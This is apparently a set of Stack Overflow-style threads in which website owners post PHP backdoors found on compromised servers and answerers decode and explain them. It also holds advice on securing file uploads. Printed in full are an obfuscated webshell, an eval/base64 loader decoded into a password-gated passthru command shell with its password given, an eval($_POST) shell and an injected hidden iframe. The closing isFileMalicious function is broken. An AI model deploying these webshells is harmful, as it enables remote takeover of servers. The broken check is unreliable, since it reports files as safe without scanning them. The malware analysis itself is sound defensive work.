I found a file systems.php on my webserver that neither I - as user - placed there, nor my webserver provider has placed in there. I viewed the file, it only contains one preg_replace() statement with an extremly long $replacement part, which seems to be somehow encoded.
preg_replace("/.*/e","\x28\x65\...\x29\x29\x3B",".");
If I interpret this statement correctly, it would mean that basically everything shall be replaced be the $replacement part (which might be encrypted/encoded virus injection stuff).
I have uploaded the whole code as pastebin here. Someone has an idea in what way the code is encrypted/how it can be decrypted in order to assess the grade of compromisation of my server?
Update
This might be the attack vector:
So after some digging, we found that this script was planted using a vulnerability in the Uploadify jQuery library. The library's existence was discovered by the attacker through google. source
Unhexxing the shellcode shows it's executing eval(gzinflate(base64_decode(huge string));
I changed this eval to an echo and the full output is on pastebin here:
http://pastebin.com/t1iZ5LQ8
I haven't looked much further into this but it certainly seems dodgy. Just thought I'd do some of the legwork for anyone interested in looking at it further
EDIT
Little bit more detailed look, it appears to allow an attacker to upload files to your server, and take a dump of any databases on the box
It's look like a Shellcode, which can be disastrous for your server, shellcode executed by the CPU can give access to a shell or shuch of things.
For more informations about shellcodes here's a good article :
http://www.vividmachines.com/shellcode/shellcode.html
This upload may hide a possible exploit on your server which grant access to upload or write data into, try to check your logs to identify the problem.
Related
This is the code:
<?php
$mign='*]`Dy6b'^'G';$qxqytq='HFJ01,0=^SG';$tehui='8P1Z}OeJXSbkV.L-zUJ2F#)GYy!JX%Bq';$xepyo='%';$ubs='lgO-2y-C_0AlSYMV_=ybr'^'DEzq9GRU';$zswu=0;##pS9Kg{5F$!S5Yb9Yf?R][|,z
$tjtgc|'ydiewzrbbxpynuhihqways';vukykn;$cqhi='#TQGI8[8:6_L-97'^'F&#(;g)]JY-8DWP65*E/h';$ivcppw='C%;';/*gn/zl_:#Jjsg$&&Sc&R$yakd='lgiwcwijhpuinad';'farustppsomkv';*/$qhn='$/vm$4YTo';$pef='0lb+)(o';$nmpnj='1*]sGZ]MsPYJCY'^'XD4,4?)';$nrohc='(_'^'Lj$5KKm';heag;$koqp=${'o/-dba*MsPYJCY'^$pef};hcel;$bplv=$qxqytq.$xepyo;$nufx='[eR?O}W/aa[^2K(IH7xVpEK"lJBr`CsD';$nmpnj($cqhi,$zswu);$fbbqn='+4/QEIo[+=$Q*JU';##p:YubiF)O0!pzf7wiB+M)gYR$Hy]U4.E,e?
$lku='Ymhp8`2#';/**|)JZV:3-R%EE=o2vK24OG#hmd[x"lGWAVz*/'p[7mlK';/*Yfb#:/h#EX(J-nIJ)A8EI-Y66O-Az|Nx}mZ=N?BIYzwuihjc^/$+9u5$^glt6=Zj+Tvz2d_l^*/'#)}R-xh';mpggm;$cqhi($zswu);##d1_"E4ZRb^z%jk-:v6}#g]#[7hXC"S
$tyz='hK0D3%*W&Yd';mhlamr;/*$xeeq;n3CVH|m}ql#(wi^M074$}UD-#Q58t"hj0n^M-v[zyP|Qjjrxdxl>>$amhg*/$tnzm=$nufx.'_0Isw'^$tehui;##l3X.-o$i[f%^W]v_0/ACZRMU*je.ztj)6gcA
$kgxnh=$bplv.$ivcppw^$fbbqn;'A`tF,G';/*Rs;1%fj1lIw]U#ANT"#zyu"Ef|,=bKasH*"tftelkntqhpcdnf>>es+"Arm"WKVh;aV.1vV^pEu1*/kyrp;$xepyo=$mign.$nrohc;$ctwvbd=$koqp['ksnkhe'];'{kMSjp]';if($tnzm==$xepyo($ctwvbd)/*^A,:q_`6)"5=#GVlbLwsRa&hPR%w3.8S+Nez3g(?Y8:*/){/*PPA2[RC"o9$nz='fmigpxxindhegtxconzwjcto';'zc';*/$fduger='O#*"/59S+F|$F0?!E^AZG`,b0xj:C7YHE#^r6ai7[&2%-=VvoQubf]qrb`9bnbXR)S7ZOtpNqkAK#_(8ocvKR=II#F1;s7lntBNI/Td)lKqWdUZ6Zb1XI`9&3.P"P(vBy??;7{wQ],2:xj7#%0#8DNR;S;|GNVH)25;633!z:Y?*HmXzfdY]WB-^VAJM"VoBk))M$R.ftU0]UY0)B#_{A.2;##]=`U0SX,PU:dFc0"!)R';$wuxhwd='p`LKCPf4N2#G)^KD+*2rc?j+|=9aaR39*#,Pk:KC6VmKLP3T2xUXFy.1-/r++9z7C"X9=V-u{bHo53BBRKW.?M=0hbn}:{)=/`,+J$FtEbQhD33Z?=V==?ZI]Z5L$[^f&yvwr(,s?NWJZ7lbQ]Sg*/?^qfUgtvlvqzt}zvzXX;ZZj0cpom}3?2[$3|(,Q3Yv4ML.K6KNP6B/;pnK#P:MuqV^#L9XHqE?2Vyn0mO#UT#Ez';$mynbq='5XNBz#';$ynbwu^$rgwyx;$xrazo='Afyo-3;*`OjI+H:2sO-dmx5kma05&W+EY/NYq';/*$md;Kh`L(9y#t,NQEDVz*uQ4yV:o+ouD#t^F.qAd!=,2"bmo<<$qtfxzlihia*//*$qlqo;U]y-fa]#JRDD$[-Deeghldc>>$dybre*/
##_W}8|bSK^C#$J..a5:]s(
$sqyh=$vxk^'Kmi0Z=5&8z';/*YLqCs8gylkR?H;m2FlLw*zgfmljzb^&-O9D$5dt#GMfd&|bX-66?0|:4;*/$miqbq=',JjZQwb}"}'.'slady';/*`k"Nn$:|#o`u(8lJ1=Kg=eJ"x0hBU4$w-2|x-wQmo4)/*/
'WMMg';'8aQ;1h5';'fR_fq';'9%=.7ho';$aizt='bwjHYJJjot;;7lV}$dkVt';$upnyd^$yxzz;'_t0z$%';##=i=w?3mV5s)K/O#f_IU^5WTG"tS!/
$wdfnl=$mynrf.'t09}/UKf)k+VFC0N';/*[#Y0Y#pi4D%z%4Q1cJC*^aa^vY/bFLxpuwccni|mM|$",j5^jh#DY=m^7tL_&:{hX*/$cbarg='9"6G,K/UMq?GLO5rYT'.$uagz;$buu='KopKNAID]gK,F8NK[kr"$4p86CU_W8H7{rgpQ'.$fduger;
$kjkrf='E_pbB/iZlx';/*-Awooy^1]c-(a#j}=%,mHJqwgix|ehj(CsHUTrSW8OCn_Zz8Roj}9Q;xCf4%2]QgzL*/$umjxo=$xrazo.$wuxhwd;$koe='SD##5j/Tk=BNek&h';$nsj='9"6G,K/UMq?GLO5rYT'^$mcoe;$pjzk^':nBjE7';$buu.='aZ:0S%=X#w3';$whql=$buu.'6XWi9EiMc4'^$umjxo.'E4R#%_Xq{}:';/*$ow;zNW(]WrX7]XYnidtdxia<<$oxbxywv*/
$ojg='bO8rU(2Vd{HSGS!';$zqs='Ce}/q+z"y?]Tex'.'3#?I6Rn]UOc&T)uj';'6XWi9EiMc4';'JUVtY+Ub1iqI3{9';$odoiv=$odoiv.'*u|0eGu-Pe=WOd+g95sZZ8|V%L';$fbu=$fbu.';U;HZ"D[d0H2J.#';/*MPm}M}!Qb5`Xx{(h4N0o2F&5;;d{WeMQ(EDH#&B8}r.ciz#g"dLFtObo)DzJp4l%[4CHp%[]Z*/$dwl=$kgxnh($qpm,$whql);$dwl('$h&"3Z%MPDm)/(l:My"%CK,${)CW+#P[','9BeCi=uox');}$zfqa('{Hg"G2','?Zt/{2T');plktjco;':4_epeN(-EHY7!L5OzSpm(^TnX';'iV(!{?d$V.';$kedr('-.sGVZ_B4`0');
$flzrk($qmdr,$nnxk);txzpdre;##pfE/}Mg{S.^"Ry]O|2PK?ulW
$ryy='q0ht#';##rt3I]{hp6$AWo7yb#|xKCPo?VBY$[{[
$lg='|.,oBa';/*]z1O/!V+rf$8rqj98`PLT7?js;%wvisxjbed|!J[cG;Zf)Jw[Qv}g4T3E&=}*/
/*[SXl3i[#y?,d2m3:H?7j8n9?iPslC.5_f`[:z_$sqx='jttsry';'ojty';*/'*iAvU|(bNJ_1';
?>
I've tried figuring out what it means or what it's trying to do, but I think it might be a bit over my head. Can anyone tell me if this is in fact a malicious backdoor script that founds it's way onto the server?
UPDATE
I found this code in sites/default/files in a drupal installation. Luckily you can't execute PHP from that folder, but it means a "normal" or "anonymous" user tried to upload this.
It is malicious alright, however it dynamically evaluates code supplied by the browser so we cannot determine what has been executed against it. It is possible it was using in a file include attack so being able to execute php in it's stored location matters little.
I have a security issue on one of my websites and I am quite unsure how to prevent this, as I never had a similar problem. I have a php driven webpage, and over night someone somehow managed to paste
<iframe src="http://<webaddress>.com/" width="1" height="1" frameborder="0"></iframe>
right after the body tag into the php (!) file.
What would make something like that possible? And how do I prevent this?
Thanks for any help!
Maenny
Many times this is the result of your FTP credentials being stolen. Change them, remove the malicious code, and try to always connect to your server over a secure connection. This is a common attack in joomla, wordpress and other popular CMSs; and it's usual to have many files (all your index.php files for example) attacked.
We've been seeing many plugins, extensions, etc. being used as the point of entry to a website.
Hackers are constantly trying to hide their "wares" so they may not infect all of your index files, just a few to try and "fly under the radar".
As far as removing that line, it's probably not going to look like what you see in the "view source" of your browser. It's going to be obfuscated (coded).
Without knowing your website or what you're running on there, ie., WordPress, Joomla, etc. it's difficult to tell you where to look for the obfuscated code, however, you might look in header.php files or whatever file is generating the code for your body tag. You might see script tags right after the body tag and you may have to scroll all the way to the end of the line with the body tag in order to see the malscript. Hackers like to do add lots of extra spaces to try and hide their malscript.
Then you'll have to see what files have been added to your site. Or, if you have a good backup, you might want to delete all the files on your site and restore them from backup. That might be the only way to find any backdoors. Backdoors are files hackers use to upload some of their other infected files. They can be PHP or Perl.
Last, you'll have to determine how it happened. Do you have access to your access logs? If so, scan them. Look for strings that don't look right. Sometimes you might search the logs for the string, "base64_decode" as hackers like to use that at times to upload their malicious code.
Keep all software: WordPress, Joomla, Drupal, Zen Cart, osCommerce, etc. updated at all times. Also keep any add-ons, etc. updated as well.
This question already has answers here:
When is eval evil in php?
(20 answers)
Closed 3 years ago.
A website of mine was recently hacked. Although the actual website remain unchanged, they were somehow able to use the domain to create a link that re-directed to an ebay phishing scam.
I've taken the website down, for obvious reasons, so I can't link to the code. I'm wondering how I can go about finding out what vulnerability they used so that I can avoid this problem in the future. The page used PHP, and also some javascript (for form validation).
Is there a free service that will scan my code for vulnerabilities? What are my other options?
Thanks,
Jeff
EDIT: I've hosted the files at [link removed]
A few things to note: There are several files in the "funcs" folder, most of which aren't used, but I left them there just in case. The "new.php" (contents below) in the "data" folder is clearly the problem. The big question is, how did someone manage to upload "new.php" to the server? There's also an RTF of the e-mail I received which has info about the scam.
(caution: this code is probably "dangerous" to your computer)
<?php
$prv=strrev('edoced_46esab');
$vrp=strrev('etalfnizg');
eval($vrp($prv("rVPRbpswFNW0P9jbNE1ChojQSDD7cm0syvoB5A/GxhiBJVoKxJC0pFr667v0pe1L2k17snyvz/G559jOLxCVxjGCfEBYc1noQfE8VL0SpUYTwQah43LQueKbh3IeQYlguBx1p/gQqkqJFUKiPsWO0Vgh9LoN1R4EoUsuq7xU3Cgxgug0DhHQiVVOjVavFK9ClbDjKH2ZLgOrbpoA0RbNj/dv3r77KF3ED237vVlkrH9Wu7srzM1uv7t3h942N5mTsYM7O52s0y5jsz3thntz6gvCPiWcEVubLpO0tme+VxdHGdq3xe90WU+0wg+hQREGEi9c9G18gprOBPPZBWTMfixP1YwFdlMcNw9UVInT5XjLYqcHQcOSTxvFGyV+5q3GPcKgOzKHHFUi+Te/YmerBK0Nua/XectlnU+JRDBq7OjWKRJOEE0tSqaKIOkHs62a+StEebFDgR4UL7jc5l0Ea9JBXNiSDD3F5bpx3Zq5syaIpudx0FiAuI7gwGVPCpW4TugtnGlf/v0EZ/kWC+8F0ZafWOXazFuzeo0JX87d9tWzvlnOf/s4Xlwdiu2cXX1m/gtT+OzyinnxHw==")));
?>
Interesting stuff going on here. The php block evaluates to a nice little "code generator":
$k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53=70;
$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";
$s32t83r16i71n72g_o95u53t9p47u16t72=$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47;$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83=strlen($s32t83r16i71n72g_o95u53t9p47u16t72);
$e72v71a16l_p83h32p_c95o53d9e47='';
for($h47u9i53v95a32m83v16s71e72m=0;$h47u9i53v95a32m83v16s71e72m<$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83;$h47u9i53v95a32m83v16s71e72m++)
$e72v71a16l_p83h32p_c95o53d9e47 .= chr(ord($s32t83r16i71n72g_o95u53t9p47u16t72[$h47u9i53v95a32m83v16s71e72m]) ^ $k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53);
eval("?>".$e72v71a16l_p83h32p_c95o53d9e47."<?");
When the nasty variable names are substituted for something more readable, you get:
$Coefficient=70;
$InitialString="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";
$TargetString=$InitialString;
$CntLimit=strlen($TargetString);
$Output='';
for($i=0;$i<$CntLimit;$i++)
$Output .= chr(ord($TargetString[$i]) ^ $Coefficient);
eval("?>".$Output."<?");
which, when evaluated, spits out the code:
<?php
if ((isset($_GET[pass]))&(md5($_GET[pass])==
'417379a25e41bd0ac88f87dc3d029485')&(isset($_GET[c])))
{
echo '<pre>';
passthru(stripslashes($_GET[c]));
include($_GET[c]);
die('</pre>');
}
?>
Of note, the string: '417379a25e41bd0ac88f87dc3d029485' is the md5 hash of the password: Zrhenjq2009
I'll kick this around some more tomorrow.
Edit:
Ok, so I spent a few more minutes playing with this. It's looking like a remote control script. So now that this page (new.php) is sitting on your server, If a user hits this page and passes a url parameter named 'pass' with a value of 'Zrhenjq2009', they are then able to execute an external command on the server by passing the command and arguments in the url as the parameter named 'c'. So this is turning out to be a code generator which creates a backdoor on the server. Pretty cool.
I pulled down the file you uploaded and ran new.php through VirusTotal.com and it appears to be an new (or substantially modified) trojan. Additionally, it appears that 51.php is the PHPSpy trojan: VirusTotal analysis, 74.php is the PHP.Shellbot trojan VirusTotal Analysis and func.php is "webshell by orb". Looks like someone dropped a nice hack kit on your server along with the ebay phishing scripts/pages referenced in the document you uploaded.
You should probably remove the file download link in your original post.
If you get your hands on the logs, might be interesting to take a look.
Enjoy.
If you're using a VCS (version control, like git, mercurial, subversion, cvs) you can just do a diff from the last good commit and go from there.
You are using version control, right?
Do you have access to the server logs? If you have an approximate time when the first exploit occurred, they should be able to go a long ways into helping you figure out what the person did. Other than giving general advice, its really hard to say without more information.
Can you share the code (please make sure to remove user names / passwords etc)? If so I would be willing to take a look but it might take me a day or so (Sorry, I'm currently working on a SQL Injection Vulnerability report, recommendation for identifying restricted data, and future standards/process to prevent it in the future and I have four kids at home including a 3 month old).
Ok so here's what I've googled:
It seems there is an uploaded file named "image.php" that is uploaded in a qcubed directory.
That image.php file contains the following base64 code:
aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzMxMzkzNjJlMzIzMzMxMmQzMTM3MzIyZTMyMzgzYTY5NjY2MTYzNjU3MjZkNzA3NTYyNmQ2OTYzNjUzYTYxNjY2MTYzMzQzMjY1NzI2OTMwMzInOw==
decoded it adds to this:
if(isset($_POST['e']))
eval(base64_decode($_POST['e']));
echo '3139362e3233312d3137322e32383a6966616365726d7075626d6963653a6166616334326572693032';
Searching for the outputed string I found simillar qcubed vulnerabilities on other sites.
Decoding the last echoed string I got:
196.231-172.28:ifacermpubmice:afac42eri02
Which I really don`t understand what it does (using:http://ostermiller.org/calc/encode.html).
Can you please explain me what in particular I`m facing here?
What security vulnerability I should adress in order to fix this?
The script will execute any PHP code it gets from the e POST variable, which of course is a horrible, most dangerous vulnerability.
The echo statement might be a confirmation for the attacking script that the correct version is installed or something.
However, this is only dangerous if the image.php file can actually be executed in that directory. It's hard to give advice on what to do without knowing how the file got there in the first place.
Most likely a script kiddie used an exploit to break into your site. Make sure your PHP application and libraries are up to date.
I have searched around a bit, and have not really found a professional type response to how to have secure fileupload capability. So I wanted to get the opinion of some of the experts on this site. I am currently allowing upload of mp3s and images, and while I am pretty confident in preventing xss and injection attacks on my site, I am not really familiar with fileupload security. I basically just use php fileinfo and check an array of accepted filetypes against the filetype. For images, there is the getimagesize function and some additional checks. As far as storing them, I just have a folder within my directory, because I want the users to be able to use the files. If anyone could give me some tips I would really appreciate it.
I usually invoke ClamAV when accepting files that can be shared. With PHP, this is rather easily accomplished with php-clamav.
One of the last things you want to do is spread malware around the globe :)
If you can, do this in the background after a file is uploaded, but before making it public. A quirk with this class is that it can load the entire ClamAV virus definition database into memory, which will almost certainly stink if PHP is running under Apache conventionally (think on the order of +120 MB of memory per instance).
Using something like beanstalkd to scan uploads then update your DB to make them public is a very good way to work around this.
I mentioned this only because the other answers had not, in no way did I intend this to be a complete solution. See the other answers posted here, this is a step you should be finishing with. Always, always, always sanitize your input, make sure it's of the expected type, etc (did I mention that you should read the other answers too?)
"malicious" files are not the only way to hurt your server (and if your site is down, it hurts your users).
For example, a possibility to hurt a server would be to upload a lot of very small files :
it would not use all the space on the disk,
but could use all available inodes...
...And when there is no free inode left, it's not possible to create any file anymore ; which, obviously, is bad.
After that, there is also the problems like :
copyright
content that is not OK to you or your users (nudity ? )
For that, there's not much you an do with technical solutions -- but an "alert the moderator" feature is oftne helpful ;-)
No, because this could easily be spoofed. There's an article that describes how a server could be attacked by uploading a 1x1 "jpg file" and how to prevent it. Good read.
The first thing to do would be to disable execution of any server side code (e.g. PHP) in that directory via server configuration. Setting up a whitelist for MIME types (or file extensions, since your server uses those to figure out the mime type in the first place) and only allowing media files (not HTML or anything) will protect you from XSS injections. Those combined with a file type check should be quite sufficient - the only thing I can think of that might get through those are things that exploit image/audio decoders, and for spotting those you'd need something close to a virus scanner.
To start with the "file-type" ($_FILES['userfile']['type']) is completely meaningless. This is a variable in the HTTP post request that can be ANY VALUE the attacker wants. Remove this check ASAP.
getimagesize() Is an excellent way to verify that an image is real. Sounds files can be a bit more tricky, you could call file /tmp/temp_uploaded_file on the commandline.
By far the most important part of an uploaded file is the file's extension. If the file is a .php, then you just got hacked. It gets worse, Apache can be configured to ignore the first file extension if it doesn't recognize it, and then use the next extension, so this file would be executed a normal .php file: backdoor.php.junk. By default this should be disabled, but it was enabled by default a few years ago.
You MUST MUST MUST use a file extension White List. So you want to force using files like: jpg,jpeg,gif,png,mp3 and reject it otherwise.
if exiv2 can't remove the metadata its probably malicious or corrupted in some way atleast. following required exiv2 be installed on your unix system. Unfortunately, this might be dangerous if the file contains malicious shell code. not sure how sturdy exiv2 is against shell exploits, so use with caution. i haven't used it, but i've thought about using it.
function isFileMalicious($file)
{
try{
$out = [];
#exec('exiv2 rm '.escapeshellarg($file).' 2>&1',$out);
if(!empty($out)){
return false;
}
}
catch(exception $e)
{
return false;
}
return true;
}